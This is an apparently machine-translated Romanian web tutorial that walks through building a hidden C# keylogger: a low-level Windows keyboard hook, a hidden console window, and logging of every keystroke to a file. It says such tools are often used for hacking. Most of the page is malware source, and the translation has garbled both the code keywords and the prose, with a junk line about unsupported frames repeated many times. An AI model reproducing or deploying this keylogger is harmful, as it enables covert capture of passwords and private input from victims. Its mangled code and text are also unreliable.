Asigurați-vă propriul, folosind un keylogger c #

Rame nu sunt acceptate nu sunt acceptate Cadrele nu sunt acceptate Cadrele nu sunt acceptate Cadrele nu sunt acceptate Cadrele nu sunt acceptate Cadrele nu sunt acceptate Cadrele nu sunt acceptate Cadrele nu sunt acceptate Cadrele nu sunt acceptate Cadrele nu sunt acceptate Cadrele nu sunt acceptate de cadre sunt Cadrele nu Cadrele acceptate nu sunt acceptate nu sunt acceptate Cadrele nu sunt acceptate Frames nu sunt acceptate Cadrele nu sunt acceptate Cadrele nu sunt acceptate Cadrele nu sunt acceptate Cadrele nu sunt acceptate Cadrele nu sunt acceptate

Keylogger.Org: găsi cel mai bun keylogger dvs.

de Arkadeep de

Ce este un keylogger?

Programul său de aplicare, care este folosit pentru a obține toate cheile de intrare de pe tastatură. Acesta este frecvent utilizat în scopuri de hacking.

Deci, să începem a ne face propria keylogger.

Prima lansare a unei aplicații consolă în Visual Studio.

Acum, adăugați spațiul de nume

  • Utilizarea sistemy.Diagnostika;
  • Utilizarea sistemy.Okna.Form;
  • Utilizarea sistemy.Vremya vypolneniya.InteropServices;
  • Utilizarea sistemy.IO;

Acum, se adaugă unele variabile globale particulare

Private int WH_KEYBOARD_LL const = 13;
Private int WM_KEYDOWN const = 0x0100;
Privat statică LowLevelKeyboardProc _proc = HookCallback;
pointer static privat IntPtr tip _hookID = intptr.Nol;

Acum, în funcția principală ()

Buton Var = GetConsoleWindow ();
funcției ShowWindow (pixuri, SW_HIDE); // pentru a ascunde o aplicație care rulează
cu _hookID = sethook (_proc);
Prilozheniya.Vypolnit ();
UnhookWindowsHookEx (_hookID);

Acum, adăugați acest cod în afara funcției principale ()

Privat static IntPtr pointer cu sethook (LowLevelKeyboardProc proc)
folosind (curProcess = protsess.GetCurrentProcess () de proces)
folosind (curModule ProcessModule = curProcess.MainModule)
SetWindowsHookEx reveni (WH_KEYBOARD_LL, proc,
GetModuleHandle (modulul curModule.Nazvanie), 0);
>
>

indicele privat delegat IntPtr LowLevelKeyboardProc (tip int nCode, indicatorul IntPtr parametrul wParam, indicatorul trebuie să IntPtr lParam);

indicatorul privat static IntPtr HookCallback (tip int nCode, indicatorul IntPtr parametrul wParam, indicatorul trebuie să IntPtr lParam)
if (nCode> = 0 Parametrul wParam == (IntPtr pointer) WM_KEYDOWN)
Int vkCode = Marshal.ReadInt32 (parametrul lParam);
Konsol.Metoda writeline ((chei) vkCode);
/ * Pentru aceasta, creați un folder numit "ABC", în dirve C * /
Înregistrarea unității StreamWriter = nou modul EO StreamWriter înregistrare (@ "C: \ abc" + @ "\ log.txt", adevărat);
// Modul înregistrare StreamWriter înregistrare = nou modul EO StreamWriter (Anexa StartupPath + @ "\ log.txt", adevarul).
uv.Pisat ((chei) vkCode);
uv.Zakryt ();
>
CallNextHookEx reveni (_hookID, nCode, setarea wParam, lParam trebuie);
>

Acum, adăugați câteva biblioteci dll

[Caracteristica DllImport ( "user32.dll", codificarea = Codificare. Funcții Auto SetLastError = true)]
Privat pointer externae statică IntPtr SetWindowsHookEx (int idHook, lpfn LowLevelKeyboardProc, indicatorul IntPtr hMod, uint cu dwThreadId);

[Caracteristica DllImport ( "user32.dll", codificarea = Codificare. Funcții Auto SetLastError = true)]
[Întoarcere: via marshalas atribut (unmanagedtype znachenie.Bool)]
Privat static modificator bool și UnhookWindowsHookEx extern (RPA IntPtr indicator);

[Caracteristica DllImport ( "user32.dll", codificarea = Codificare. Funcții Auto SetLastError = true)]
Privat pointer externae statică IntPtr CallNextHookEx (RPA IntPtr tip pointer int nCode, indicatorul IntPtr parametrul wParam, indicatorul trebuie să IntPtr lParam);

[Caracteristica DllImport ( "kernel32.dll", codificarea = Codificare. Funcții Auto SetLastError = true)]
Privat pointer externae statică IntPtr GetModuleHandle (linia lpModuleName);

[Caracteristica DllImport ( "kernel32.dll")]
externae static IntPtr GetConsoleWindow () pointer;

[Caracteristica DllImport ( "user32.dll")]
static modificator funcție valoare bool extern ShowWindow (hWnd IntPtr Element pointer int tip nCmdShow);

iar în cele din urmă face SW_HIDE 0

const int SW_HIDE = 0;

Acum, după ce face toate cele de mai sus, veți primi un mesaj de eroare atunci când se utilizează sistemy.Okna.Form;.
Pentru a evita această eroare, trebuie să adăugați un link de la okna.Form.

Cum de a face acest lucru?
Faceți clic dreapta pe numele proiectului în Solution Explorer. Și faceți clic pe linkul Adăugați.

Asigurați-vă propriul, folosind un keylogger c #

Acum. Fila „Rețea“ pentru a selecta sistemul. Okna.Forma

Asigurați-vă propriul, folosind un keylogger c #

Asigurați-vă propriul, folosind un keylogger c #

Acum construi (apăsați F6) și verificați dacă există o eroare sau nu. Conform codului de eroare nu este prezent. Acum, rulați programul.

Dacă executați prilozheniya.StartupPath codul apoi verificați fișierul jurnal în coșul -> dosar de depanare. Și veți obține, de asemenea, un .EXE în acest dosar. Deci, se bucură.

Descărcați codul sursă complet aici.

Acasă> Articole> Creați-vă propriul folosind keylogger C # .Net